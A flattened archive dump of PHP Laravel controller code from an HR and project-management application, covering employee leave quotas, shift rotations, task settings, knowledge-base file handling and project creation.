$leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } else { $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } } elseif ($settings && $settings->leaves_start_from == 'joining_date'){ $joiningDate = Carbon::parse($this->employee->employeedetails->joining_date->format((now(company()->timezone)->year) . '-m-d')); $joinMonth = $joiningDate->month; $joinDay = $joiningDate->day; if ($joinMonth > $now->month || ($joinMonth == $now->month && $now->day < $joinDay)) { // Not completed a year yet $leaveStartDate = $joiningDate->copy()->subYear(); $leaveEndDate = $joiningDate->copy()->subDay(); } else { // Completed a year $leaveStartDate = $joiningDate; $leaveEndDate = $joiningDate->copy()->addYear()->subDay(); } } $this->employeeLeavesQuotas = $this->employee->leaveTypes; $hasLeaveQuotas = false; $totalLeaves = 0; $overUtilizedLeaves = 0; $leaveCounts = []; $allowedEmployeeLeavesQuotas = []; // Leave Types Which employee can take according to leave type conditions foreach ($this->employeeLeavesQuotas as $key => $leavesQuota) { if ( ($leavesQuota->leaveType->deleted_at == null || $leavesQuota->leaves_used > 0) && $leavesQuota->leaveType && ($leavesQuota->leaveType->leaveTypeCondition($leavesQuota->leaveType, $this->employee))) { $hasLeaveQuotas = true; $allowedEmployeeLeavesQuotas[] = $leavesQuota; // $sum = ($leavesQuota->leaveType->deleted_at == null) ? $leavesQuota->leaves_remaining : 0; // $totalLeaves = $totalLeaves + ($leavesQuota?->no_of_leaves ?: 0) - ($leaveCounts[$leavesQuota->leave_type_id] ?: 0); $totalLeaves = $totalLeaves + ($leavesQuota?->leaves_remaining ?: 0); } } $this->leaveStartDate = $leaveStartDate->format(company()->date_format); $this->leaveEndDate = $leaveEndDate->format(company()->date_format); $this->leaveCounts = $leaveCounts; $this->hasLeaveQuotas = $hasLeaveQuotas; $this->allowedLeaves = $totalLeaves; $this->allowedEmployeeLeavesQuotas = $allowedEmployeeLeavesQuotas; $this->view = 'employees.ajax.leaves_quota'; break; case 'shifts': abort_403(user()->permission('view_shift_roster') != 'all' || !in_array('attendance', user_modules())); $automateShift = AutomateShift::where('user_id', $id)->first(); $this->shiftRotation = $automateShift ? ShiftRotation::findOrFail($automateShift->employee_shift_rotation_id) : []; $this->view = 'employees.ajax.shifts'; break; case 'permissions': abort_403(user()->permission('manage_role_permission_setting') != 'all'); if($this->employee->customised_permissions === 1){ $this->modulesData = Module::with('permissions')->withCount('customPermissions')->get(); }else{ $user = User::with('role')->findOrFail($id); $this->role = Role::with('permissions')->where('name', '<>', 'admin')->findOrFail($user->role[count($user->role) - 1]->role_id); if ($this->role->name == 'client') { $clientModules = ModuleSetting::where('type', 'client')->get()->pluck('module_name'); $this->modulesData = Module::with('permissions')->withCount('customPermissions') ->whereIn('module_name', $clientModules)->where('module_name', '<>', 'messages')->get(); } else { $this->modulesData = Module::with('permissions')->where('module_name', '<>', 'messages')->withCount('customPermissions')->get(); } } $this->employeeModules = array_merge( ModuleSetting::where('module_name', '<>', 'settings') ->where('status', 'active') ->where('type', 'employee') ->pluck('module_name') ->toArray(), ['settings', 'dashboards'] ); $this->view = 'employees.ajax.permissions'; break; case 'activity': $userId = auth()->id(); $this->histories = EmployeeActivity::where('emp_id', $id) ->orderBy('created_at', 'desc') ->get(); $this->view = 'employees.ajax.activity'; break; case 'immigration': abort_403($viewImmigrationPermission == 'none'); $this->passport = Passport::with('country')->where('user_id', $this->employee->id)->first(); $this->visa = VisaDetail::with('country')->where('user_id', $this->employee->id)->get(); $this->view = 'employees.ajax.immigration'; break; default: $this->view = 'employees.ajax.profile'; break; } if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['views' => $this->view, 'status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->activeTab = $tab ?: 'profile'; return view('employees.show', $this->data); } public function incrementPromotion($id) { $promotions = Promotion::employeePromotions($id) ->map(function ($promotion) use ($id) { return [ 'type' => 'promotion', 'date' => $promotion->date, 'data' => $promotion, ]; }); if (module_enabled('Payroll') && in_array('payroll', user_modules())) { $increments = EmployeeMonthlySalary::employeeIncrements($id) ->map(function ($increment, $index) use ($id) { $netSalaryData = EmployeeMonthlySalary::employeeNetSalary($id, $increment->date); $isFirst = ($index === 0); $netSalary = $isFirst ? $netSalaryData['initialSalary'] : $netSalaryData['netSalary']; $incrementAmount = $increment->amount; $percentIncrement = ($netSalary > 0) ? round(($incrementAmount / $netSalary) * 100) : 0; return [ 'type' => 'increment', 'date' => $increment->date, 'data' => $increment, 'netSalary' => $netSalary, 'percentage' => $percentIncrement ]; }); $payrollCurrency = PayrollSetting::with('currency')->first(); $this->currency = $payrollCurrency->currency ? $payrollCurrency->currency->id : ''; } else { $increments = collect([]); $this->currency = $this->company->currency_id; } $this->careerProgress = $promotions->concat($increments) ->sortByDesc('date')->values(); return $this->careerProgress; } /** * XXXXXXXXXXX * * @return array */ public function taskChartData($id) { $taskStatus = TaskboardColumn::all(); $data['labels'] = $taskStatus->pluck('column_name'); $data['colors'] = $taskStatus->pluck('label_color'); $data['values'] = []; foreach ($taskStatus as $label) { $data['values'][] = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', $id)->where('tasks.board_column_id', $label->id)->count(); } return $data; } /** * XXXXXXXXXXX * * @return array */ public function ticketChartData($id) { $labels = ['open', 'pending', 'resolved', 'closed']; $data['labels'] = [__('app.open'), __('app.pending'), __('app.resolved'), __('app.closed')]; $data['colors'] = ['#D30000', '#FCBD01', '#2CB100', '#1d82f5']; $data['values'] = []; foreach ($labels as $label) { $data['values'][] = Ticket::where('agent_id', $id)->where('status', $label)->count(); } return $data; } public function byDepartment($id) { $viewPermission = user()->permission('view_employees'); $users = User::with('employeeDetail')->withoutGlobalScope(ActiveScope::class)->join('employee_details', 'employee_details.user_id', '=', 'users.id'); if (request()->request_from == 'rotation' && request()->rotation) { $rotAssignedEmps = AutomateShift::where('employee_shift_rotation_id', request()->rotation)->pluck('user_id'); $users = $users->whereNotIn('users.id', $rotAssignedEmps); } if ($id != 0) { $users = $users->where('employee_details.department_id', $id); } if ($viewPermission == 'owned' || $viewPermission == 'none') { $users = $users->where('users.id', user()->id); } elseif ($viewPermission == 'both') { $users = $users->where(function ($query) { $query->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); }); } elseif ($viewPermission == 'added') { $users = $users->where('employee_details.added_by', user()->id); } $users = $users->select('users.*')->where('status', 'active')->get(); $options = ''; foreach ($users as $item) { if($item->status == 'active'){ $content = ($item->status === 'deactive') ? "Inactive" : ''; $options .= ''; } } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function appreciation($employeeID) { $viewAppreciationPermission = user()->permission('view_appreciation'); if ($viewAppreciationPermission == 'none') { return []; } $appreciations = Appreciation::with(['award', 'award.awardIcon', 'awardTo'])->select('id', 'award_id', 'award_to', 'award_date', 'image', 'summary', 'created_at'); $appreciations->join('awards', 'awards.id', '=', 'appreciations.award_id'); if ($viewAppreciationPermission == 'added') { $appreciations->where('appreciations.added_by', user()->id); } if ($viewAppreciationPermission == 'owned') { $appreciations->where('appreciations.award_to', user()->id); } if ($viewAppreciationPermission == 'both') { $appreciations->where(function ($q) { $q->where('appreciations.added_by', '=', user()->id); $q->orWhere('appreciations.award_to', '=', user()->id); }); } $appreciations = $appreciations->select('appreciations.*')->where('appreciations.award_to', $employeeID)->get(); return $appreciations; } public function projects() { $viewPermission = user()->permission('view_employee_projects'); abort_403(!in_array($viewPermission, ['all'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'employees.ajax.projects'; $dataTable = new ProjectsDataTable(); return $dataTable->render('employees.show', $this->data); } public function tickets() { $viewPermission = user()->permission('view_tickets'); abort_403(!(in_array($viewPermission, ['all']) && in_array('tickets', user_modules()))); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->tickets = Ticket::all(); $this->view = 'employees.ajax.tickets'; $dataTable = new TicketDataTable(); return $dataTable->render('employees.show', $this->data); } public function tasks() { $viewPermission = user()->permission('view_employee_tasks'); abort_403(!in_array($viewPermission, ['all'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->taskBoardStatus = TaskboardColumn::all(); $this->view = 'employees.ajax.tasks'; $dataTable = new TasksDataTable(); return $dataTable->render('employees.show', $this->data); } public function leaves() { $viewPermission = user()->permission('view_leaves_taken'); abort_403(!in_array($viewPermission, ['all'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->leaveTypes = LeaveType::all(); $this->view = 'employees.ajax.leaves'; $dataTable = new LeaveDataTable(); return $dataTable->render('employees.show', $this->data); } public function attendance($employeeId) { $this->viewAttendancePermission = user()->permission('view_attendance'); abort_403(in_array($this->viewAttendancePermission, ['none'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->employees = User::with('employeeDetail')->where('id', $employeeId)->get(); $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); $this->departments = Team::all(); $this->designations = Designation::all(); return view('employees.ajax.attendance', $this->data); } public function timelogs() { $viewPermission = user()->permission('view_employee_timelogs'); abort_403(!(in_array($viewPermission, ['all']) && in_array('timelogs', user_modules()))); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'employees.ajax.timelogs'; $dataTable = new TimeLogsDataTable(); return $dataTable->render('employees.show', $this->data); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function inviteMember() { abort_403(!in_array(user()->permission('add_employees'), ['all'])); return view('employees.ajax.invite_member', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function sendInvite(InviteEmailRequest $request) { $emails = json_decode($request->email); if (!empty($emails)) { foreach ($emails as $email) { $invite = new UserInvitation(); $invite->user_id = user()->id; $invite->email = $email->value; $invite->message = $request->message; $invite->invitation_type = 'email'; $invite->invitation_code = sha1(time() . user()->id); $invite->save(); } } return Reply::success(__('messages.inviteEmailSuccess')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function createLink(CreateInviteLinkRequest $request) { $invite = new UserInvitation(); $invite->user_id = user()->id; $invite->invitation_type = 'link'; $invite->invitation_code = sha1(time() . user()->id); $invite->email_restriction = (($request->allow_email == 'selected') ? $request->email_domain : null); $invite->save(); return Reply::successWithData(__('messages.inviteLinkSuccess'), ['link' => route('invitation', $invite->invitation_code)]); } /** * @param mixed $request * @param mixed $employee */ public function employeeData($request, $employee): void { $employee->employee_id = $request->employee_id; $employee->address = $request->address; $employee->hourly_rate = $request->hourly_rate; $employee->slack_username = $request->slack_username; $employee->department_id = $request->department; $employee->designation_id = $request->designation; $employee->company_address_id = $request->company_address; $employee->reporting_to = $request->reporting_to; $employee->about_me = $request->about_me; $employee->joining_date = companyToYmd($request->joining_date); $employee->date_of_birth = $request->date_of_birth ? companyToYmd($request->date_of_birth) : null; $employee->calendar_view = 'task,events,holiday,tickets,leaves,follow_ups'; $employee->probation_end_date = $request->probation_end_date ? companyToYmd($request->probation_end_date) : null; $employee->notice_period_start_date = $request->notice_period_start_date ? companyToYmd($request->notice_period_start_date) : null; $employee->notice_period_end_date = $request->notice_period_end_date ? companyToYmd($request->notice_period_end_date) : null; $employee->marital_status = $request->marital_status; $employee->marriage_anniversary_date = $request->marriage_anniversary_date ? companyToYmd($request->marriage_anniversary_date) : null; $employee->employment_type = $request->employment_type; $employee->internship_end_date = $request->internship_end_date ? companyToYmd($request->internship_end_date) : null; $employee->contract_end_date = $request->contract_end_date ? companyToYmd($request->contract_end_date) : null; } public function importMember() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.employee'); $addPermission = user()->permission('add_employees'); abort_403(!in_array($addPermission, ['all', 'added'])); $this->view = 'employees.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('employees.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, EmployeeImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('employees.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, EmployeeImport::class, ImportEmployeeJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } } Http/Controllers/TaskSettingController.php000064400000006217150325104510015010 0ustar00pageTitle = 'app.menu.taskSettings'; $this->activeSettingMenu = 'task_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_task_setting') == 'all' && in_array('tasks', user_modules()))); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->companyData = $this->company; $this->taskboardColumns = TaskboardColumn::orderBy('priority', 'asc')->get(); $this->taskSetting = TaskSetting::first(); return view('task-settings.index', $this->data); } /** * @param CommonRequest $request * @return array */ public function store(CommonRequest $request) { $company = $this->company; $company->before_days = $request->before_days; $company->after_days = $request->after_days; $company->on_deadline = $request->on_deadline; $company->default_task_status = $request->default_task_status; $company->taskboard_length = $request->taskboard_length; $company->save(); session()->forget('company'); $taskSetting = TaskSetting::first(); $taskSetting->task_category = ($request->task_category) ? 'yes' : 'no'; $taskSetting->project = ($request->project) ? 'yes' : 'no'; $taskSetting->start_date = ($request->start_date) ? 'yes' : 'no'; $taskSetting->due_date = ($request->due_date) ? 'yes' : 'no'; $taskSetting->assigned_to = ($request->assigned_to) ? 'yes' : 'no'; $taskSetting->description = ($request->description) ? 'yes' : 'no'; $taskSetting->label = ($request->label) ? 'yes' : 'no'; $taskSetting->assigned_by = ($request->assigned_by) ? 'yes' : 'no'; $taskSetting->status = ($request->status) ? 'yes' : 'no'; $taskSetting->priority = ($request->priority) ? 'yes' : 'no'; $taskSetting->make_private = ($request->make_private) ? 'yes' : 'no'; $taskSetting->time_estimate = ($request->time_estimate) ? 'yes' : 'no'; $taskSetting->hours_logged = ($request->hours_logged) ? 'yes' : 'no'; $taskSetting->custom_fields = ($request->custom_fields) ? 'yes' : 'no'; $taskSetting->copy_task_link = ($request->copy_task_link) ? 'yes' : 'no'; $taskSetting->comments = ($request->comments) ? 'yes' : 'no'; $taskSetting->files = ($request->files_tab) ? 'yes' : 'no'; $taskSetting->sub_task = ($request->sub_task) ? 'yes' : 'no'; $taskSetting->time_logs = ($request->time_logs) ? 'yes' : 'no'; $taskSetting->notes = ($request->notes) ? 'yes' : 'no'; $taskSetting->history = ($request->history) ? 'yes' : 'no'; $taskSetting->save(); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/ShiftRotationController.php000064400000020731150325104510015342 0ustar00pageTitle = 'app.menu.shiftRotation'; $this->activeSettingMenu = 'attendance_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_attendance_setting') == 'all' && in_array('attendance', user_modules()))); return $next($request); }); } /** * Show the form for creating a new resource. */ public function create() { $this->pageTitle = __('app.menu.shiftRotation'); $this->view = 'attendance-settings.ajax.create'; $this->dates = range(1, 30); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); if (request()->ajax()) { return $this->returnAjax($this->view); } return view('attendance-settings.create', $this->data); } /** * Store a newly created resource in storage. */ public function store(StoreShiftRotationRequest $request) { if (!$request->has('shifts')) { return Reply::error(__('messages.addShift')); } DB::beginTransaction(); $shiftRotation = ShiftRotation::create([ 'company_id' => company()->id, 'rotation_name' => $request->rotation_name, 'rotation_frequency' => $request->rotation_frequency, 'color_code' => $request->color_code, 'override_shift' => $request->override_shift ?? 'no', 'send_mail' => $request->send_mail ?? 'no', 'schedule_on' => $request->rotation_frequency != 'monthly' ? $request->schedule_on : null, 'rotation_date' => $request->rotation_frequency == 'monthly' ? $request->rotation_date : null, ]); if ($request->has('shifts')) { foreach ($request->shifts as $key => $shift) { ShiftRotationSequence::create([ 'employee_shift_rotation_id' => $shiftRotation->id, 'employee_shift_id' => $shift, 'sequence' => $request->sort_order[$key] ?? null, ]); } } DB::commit(); return Reply::success(__('messages.recordSaved')); } public function changeStatus(Request $request) { $id = $request->id; $status = $request->status; $rotation = ShiftRotation::find($id); if (!is_null($rotation)) { $rotation->status = $status; $rotation->save(); } return Reply::success(__('messages.rotationStatusChanged')); } /** * Show the form for editing the specified resource. */ public function edit($id) { $this->pageTitle = __('app.menu.shiftRotation'); $this->view = 'attendance-settings.ajax.edit'; $this->dates = range(1, 30); DB::enableQueryLog(); $this->shiftRotation = ShiftRotation::with([ 'sequences' => function ($q) { $q->with('rotation', 'shift'); } ])->findOrFail($id); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); if (request()->ajax()) { return $this->returnAjax($this->view); } return view('attendance-settings.create', $this->data); } /** * Update the specified resource in storage. */ public function update(StoreShiftRotationRequest $request, $id) { if (!$request->has('shifts')) { return Reply::error(__('messages.addShift')); } DB::beginTransaction(); $shiftRotation = ShiftRotation::findOrFail($id); $shiftRotation->update([ 'rotation_name' => $request->rotation_name, 'rotation_frequency' => $request->rotation_frequency, 'color_code' => $request->color_code, 'override_shift' => $request->override_shift ?? 'no', 'send_mail' => $request->send_mail ?? 'no', 'schedule_on' => $request->rotation_frequency != 'monthly' ? $request->schedule_on : null, 'rotation_date' => $request->rotation_frequency == 'monthly' ? $request->rotation_date : null, ]); ShiftRotationSequence::where('employee_shift_rotation_id', $shiftRotation->id)->delete(); foreach ($request->shifts as $key => $shift) { ShiftRotationSequence::create([ 'employee_shift_rotation_id' => $shiftRotation->id, 'employee_shift_id' => $shift, 'sequence' => $request->sort_order[$key] ?? null, ]); } DB::commit(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. */ public function destroy($id) { $rotation = ShiftRotation::findOrFail($id); if (!$rotation) { return Reply::error(__('messages.rotationNotFound')); } // Delete rotation and associated sequences $rotation->sequences()->delete(); $rotation->delete(); return Reply::success(__('messages.deleteSuccess')); } public function manageEmployees($id) { $this->rotaionId = $id; $this->rotations = ShiftRotation::active()->get(); $rotationEmployees = AutomateShift::where('employee_shift_rotation_id', $id)->pluck('user_id'); $this->employees = User::whereIn('id', $rotationEmployees)->lazy(); return view('attendance-settings.ajax.manage-employees', $this->data); } public function removeEmployee(Request $request) { AutomateShift::where('user_id', $request->empId)->where('employee_shift_rotation_id', $request->rotationId)->delete(); return Reply::success(__('messages.employeeRemoveSuccess')); } public function changeEmployeeRotation(Request $request) { $shift = AutomateShift::where('user_id', $request->empId)->first(); if ($shift) { $shift->employee_shift_rotation_id = $request->newRotationId; $shift->save(); } return Reply::success(__('messages.employeeRotationChanged')); } public function automateShift() { $this->pageTitle = __('modules.attendance.automateShifts'); $otherEmployees = AutomateShift::pluck('user_id')->unique(); $this->employees = User::allEmployees(null, true, 'all')->whereNotIn('id', $otherEmployees); $this->departments = Team::all(); $this->shiftRotation = ShiftRotation::active()->get(); $this->view = 'attendance-settings.ajax.automate-shifts'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('attendance-settings.create', $this->data); } public function storeAutomateShift(StoreAutomateShift $request) { if ($request->has('user_id') && $request->has('rotation')) { foreach ($request->user_id as $user) { AutomateShift::updateOrCreate([ 'user_id' => $user, 'employee_shift_rotation_id' => $request->rotation, ]); } } return Reply::success(__('messages.automateShiftAdded')); } public function runRotation(Request $request) { if ($request->isMethod('post')) { $rotationIds = $request->input('rotation_ids'); if (!$rotationIds) { return Reply::error(__('messages.noShiftRotation')); } Artisan::call('assign-employee-shift-rotation', [ '--rotation_ids' => $rotationIds ]); return Reply::success(__('messages.rotationRunSuccessfully')); } $this->rotations = ShiftRotation::active()->with('automateShifts')->get(); foreach ($this->rotations as $rotation) { $rotation->employees_count = $rotation->automateShifts->count(); } return view('attendance-settings.ajax.run-rotation', $this->data); } } Http/Controllers/Controller.php000064400000005233150325104510012624 0ustar00data[$name] = $value; } /** * @param mixed $name * @return mixed */ public function __get($name) { return $this->data[$name]; } /** * @param mixed $name * @return bool */ public function __isset($name) { return isset($this->data[$name]); } public function __construct() { $this->middleware(function ($request, $next) { $this->checkMigrateStatus(); // To keep the session we need to move it to middleware $this->gdpr = gdpr_setting(); $this->company = company(); $this->global = global_setting(); $this->socialAuthSettings = social_auth_setting(); $this->companyName = company() ? $this->company->company_name : $this->global->global_app_name; $this->appName = company() ? $this->company->app_name : $this->global->global_app_name; $this->locale = session('locale') ? session('locale') : (company() ? $this->company->locale : $this->global->locale); $this->taskBoardColumnLength = $this->company ? $this->company->taskboard_length : 10; config(['app.name' => $this->companyName]); config(['app.url' => url('/')]); App::setLocale($this->locale); Carbon::setLocale($this->locale); setlocale(LC_TIME, $this->locale . '_' . mb_strtoupper($this->locale)); if (config('app.env') == 'codecanyon') { config(['app.debug' => $this->global->app_debug]); } if (user()) { config(['froiden_envato.allow_users_id' => true]); } return $next($request); }); } public function checkMigrateStatus() { return check_migrate_status(); } public function returnAjax($view) { $html = view($view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } } Http/Controllers/KnowledgeBaseFileController.php000064400000004744150325104510016065 0ustar00pageIcon = 'icon-people'; $this->pageTitle = 'app.menu.knowledgebase'; } /** * Store a newly crea ted resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if($request->has('file')) { foreach ($request->file as $fileData) { $file = new KnowledgeBaseFile(); $file->knowledge_base_id = $request->knowledge_base_id; $filename = Files::uploadLocalOrS3($fileData, KnowledgeBaseFile::FILE_PATH . '/' . $request->knowledge_base_id); $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } return Reply::success(__('messages.fileUploaded')); } public function destroy(Request $request, $id) { abort_403(!in_array(user()->permission('edit_knowledgebase'), ['all', 'added'])); $file = KnowledgeBaseFile::findOrFail($id); $this->knowledge = KnowledgeBase::findOrFail($file->knowledge_base_id); $this->categories = KnowledgeBaseCategory::findOrFail($this->knowledge->category_id); Files::deleteFile($file->hashname, KnowledgeBaseFile::FILE_PATH . '/' . $file->knowledge_base_id); KnowledgeBaseFile::destroy($id); $this->files = KnowledgeBaseFile::where('knowledge_base_id', $file->knowledge_base_id)->orderByDesc('id')->get(); $view = view('knowledge-base.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = KnowledgeBaseFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, KnowledgeBaseFile::FILE_PATH . '/' . $file->knowledge_base_id . '/' . $file->hashname); } } Http/Controllers/ProjectController.php000064400000232020150325104510014147 0ustar00pageTitle = 'app.menu.projects'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function index(ProjectsDataTable $dataTable) { $viewPermission = user()->permission('view_projects'); abort_403((!in_array($viewPermission, ['all', 'added', 'owned', 'both']))); if (!request()->ajax()) { if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); $this->allEmployees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); } $this->categories = ProjectCategory::all(); $this->departments = Team::all(); $this->projectStatus = ProjectStatusSetting::where('status', 'active')->get(); } return $dataTable->render('projects.index', $this->data); } /** * XXXXXXXXXXX * * @return array */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'archive': $this->archiveRecords($request); return Reply::success(__('messages.projectArchiveSuccessfully')); case 'change-status': $this->changeStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_projects') != 'all'); Project::withTrashed()->whereIn('id', explode(',', $request->row_ids))->forceDelete(); $items = explode(',', $request->row_ids); foreach ($items as $item) { // Delete project files Files::deleteDirectory(ProjectFile::FILE_PATH . '/' . $item); } } protected function archiveRecords($request) { abort_403(user()->permission('edit_projects') != 'all'); Project::whereIn('id', explode(',', $request->row_ids))->delete(); } public function archiveDestroy($id) { Project::destroy($id); return Reply::success(__('messages.projectArchiveSuccessfully')); } protected function changeStatus($request) { // bulk status change abort_403(user()->permission('edit_projects') != 'all'); $projectIds = explode(',', $request->row_ids); $newStatus = $request->status; $projects = Project::whereIn('id', $projectIds)->get(); foreach ($projects as $project) { if ($newStatus !== 'finished') { $this->handleNonFinishedStatus($project, $project->id, $newStatus); } else { $this->handleFinishedStatus($project, $project->id); } } return Reply::success(__('messages.updateSuccess')); } public function updateStatus(Request $request, $id) { abort_403(user()->permission('edit_projects') != 'all'); $project = Project::findOrFail($id); $newStatus = $request->status; if ($newStatus !== 'finished') { $this->handleNonFinishedStatus($project, $id, $newStatus); } else { $response = $this->handleFinishedStatus($project, $id); if (!$response) { return Reply::error(__('messages.projectTasksNotCompleted')); } } return Reply::success(__('messages.updateSuccess')); } private function handleNonFinishedStatus($project, $id, $newStatus) { if ($project->status == 'finished') { $project->completion_percent = $this->calculateProjectProgress($id, 'true'); } $project->update(['status' => $newStatus]); } private function handleFinishedStatus($project, $id) { if ($project->calculate_task_progress === 'true') { // Project completion is based on task progress if ($project->completion_percent < 100) { return false; } } else { // If task progress is NOT being used, set percent to 100 if not already if ($project->completion_percent < 100) { $project->completion_percent = 100; } } $project->status = 'finished'; $project->save(); return true; } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $project = Project::withTrashed()->findOrFail($id); $this->deletePermission = user()->permission('delete_projects'); $userId = UserService::getUserId(); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $project->added_by == $userId))); // Delete project files Files::deleteDirectory(ProjectFile::FILE_PATH . '/' . $id); $project->forceDelete(); return Reply::success(__('messages.deleteSuccess')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_projects'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('app.addProject'); $this->clients = User::allClients(null, false, ($this->addPermission == 'all' ? 'all' : null)); $this->categories = ProjectCategory::all(); $this->templates = ProjectTemplate::all(); $this->currencies = Currency::all(); $this->teams = Team::all(); $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); $this->redirectUrl = request()->redirectUrl; $userId = UserService::getUserId(); $this->project = (request()['duplicate_project']) ? Project::with('client', 'members', 'members.user', 'members.user.session', 'members.user.employeeDetail.designation', 'milestones', 'milestones.currency')->withTrashed()->findOrFail(request()['duplicate_project'])->withCustomFields() : null; if ($this->project) { $this->projectMembers = $this->project->members ? $this->project->members->pluck('user_id')->toArray() : null; } $this->projectTemplate = request('template') ? ProjectTemplate::with('projectMembers')->findOrFail(request('template')) : null; if ($this->projectTemplate) { $templateMembers = ProjectTemplate::findOrFail(request('template')); $this->projectTemplateMembers = $templateMembers->members ? $templateMembers->members->pluck('user_id')->toArray() : null; // do not remove below commented line... // $this->projectTemplateMembers = $this->projectTemplate->projectMembers ? $this->projectTemplate->projectMembers->pluck('id')->toArray() : null; } $project = new Project(); $getCustomFieldGroupsWithFields = $project->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } if (in_array('client', user_roles())) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($userId); } else { $this->client = isset(request()->default_client) ? User::withoutGlobalScope(ActiveScope::class)->findOrFail(request()->default_client) : null; } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->view = 'projects.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('projects.create', $this->data); } /** * @param StoreProject $request * @return array|mixed * @throws \Throwable */ public function store(StoreProject $request) { $this->addPermission = user()->permission('add_projects'); abort_403(!in_array($this->addPermission, ['all', 'added'])); DB::beginTransaction(); try { $startDate = companyToYmd($request->start_date); $deadline = !$request->has('without_deadline') ? companyToYmd($request->deadline) : null; $project = new Project(); $project->project_name = $request->project_name; $project->project_short_code = $request->project_code; $project->start_date = $startDate; $project->deadline = $deadline; $project->client_id = $request->client_id; $project->public_gantt_chart = $request->public_gantt_chart ?? 'enable'; $project->public_taskboard = $request->public_taskboard ?? 'enable'; $project->need_approval_by_admin = $request->need_approval_by_admin ?? '0'; if (!is_null($request->duplicateProjectID)) { $duplicateProject = Project::findOrFail($request->duplicateProjectID); $project->project_summary = trim_editor($duplicateProject->project_summary); $project->category_id = $duplicateProject->category_id; $project->client_view_task = $duplicateProject->client_view_task; $project->allow_client_notification = $duplicateProject->allow_client_notification; $project->manual_timelog = $duplicateProject->manual_timelog; $project->team_id = $duplicateProject->team_id; $project->status = 'not started'; $project->project_budget = $duplicateProject->project_budget; $project->currency_id = $duplicateProject->currency_id; $project->hours_allocated = $duplicateProject->hours_allocated; $project->notes = trim_editor($duplicateProject->notes); } else { $project->project_summary = trim_editor($request->project_summary); if ($request->category_id != '') { $project->category_id = $request->category_id; } $project->client_view_task = $request->client_view_task ? 'enable' : 'disable'; $project->allow_client_notification = $request->client_task_notification ? 'enable' : 'disable'; $project->manual_timelog = $request->manual_timelog ? 'enable' : 'disable'; $project->project_budget = $request->project_budget; $project->currency_id = $request->currency_id != '' ? $request->currency_id : company()->currency_id; $project->hours_allocated = $request->hours_allocated; $defaultsStatus = ProjectStatusSetting::where('default_status', 1)->get(); foreach ($defaultsStatus as $default) { $project->status = $default->status_name; } $project->miro_board_id = $request->miro_board_id; $project->client_access = $request->has('client_access') && $request->client_access ? 1 : 0; 